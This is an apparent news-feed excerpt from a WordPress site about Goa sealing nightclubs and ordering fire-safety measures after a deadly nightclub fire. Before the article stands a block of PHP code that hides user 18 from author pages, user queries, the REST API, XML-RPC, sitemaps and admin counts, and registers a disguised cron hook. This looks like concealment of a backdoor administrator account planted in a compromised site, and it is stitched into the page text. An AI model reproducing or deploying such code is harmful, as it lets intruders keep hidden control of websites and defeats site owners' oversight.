add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Goa Seals Nightclubs After Deadly Fire, Orders Statewide Safety Crackdown appeared first on The Edge Media.
]]>Cafe CO2 Goa, a popular nightlife venue perched on a cliff overlooking the Arabian Sea at Vagator beach in North Goa, was sealed on Saturday. The action came just two days after another Vagator-based establishment, Goya Club, was shut for alleged regulatory violations.
A state government-appointed inspection team found that Cafe CO2 Goa, located at Ozrant Cliff and having a seating capacity of around 250, lacked a mandatory no-objection certificate from the Fire and Emergency Services Department. Officials also flagged concerns related to structural stability and unauthorised construction beyond approved limits, leading to its immediate closure.
Meanwhile, the investigation into the Birch by Romeo Lane fire tragedy has intensified. Police have arrested six people so far, including managers and staff of the nightclub. The owners, Saurabh Luthra and his brother Gaurav Luthra, have been detained in Phuket, Thailand, where local authorities have initiated deportation proceedings, according to government sources.
In response to the incident, the Goa government has announced a series of stringent safety measures for all tourist and entertainment establishments across the state. These include mandatory fire safety compliance, a complete ban on fireworks, and restrictions on liquor sales after 11 pm.
Chief Minister Pramod Sawant has issued a strong warning, stating that any establishment failing to comply with the new safety norms will face licence cancellation and sealing of premises. The measures are aimed at preventing similar incidents, especially ahead of the busy Christmas and New Year season.
Under the revised guidelines, all establishments must hold valid fire safety certifications and obtain necessary approvals from the Fire Department. Functional smoke detectors, sprinkler systems, fire hydrants, and fire extinguishers have been made compulsory.
Emergency exits and escape routes must remain unobstructed, supported by illuminated signage, evacuation maps, and emergency lighting. Venue operators are also required to strictly follow authorised occupancy limits to avoid overcrowding.
Additionally, the use or operation of fireworks, sparklers, and pyrotechnic effects has been completely prohibited inside nightclubs, bars, restaurants, hotels, beach shacks, and all other event venues across Goa.
The post Goa Seals Nightclubs After Deadly Fire, Orders Statewide Safety Crackdown appeared first on The Edge Media.
]]>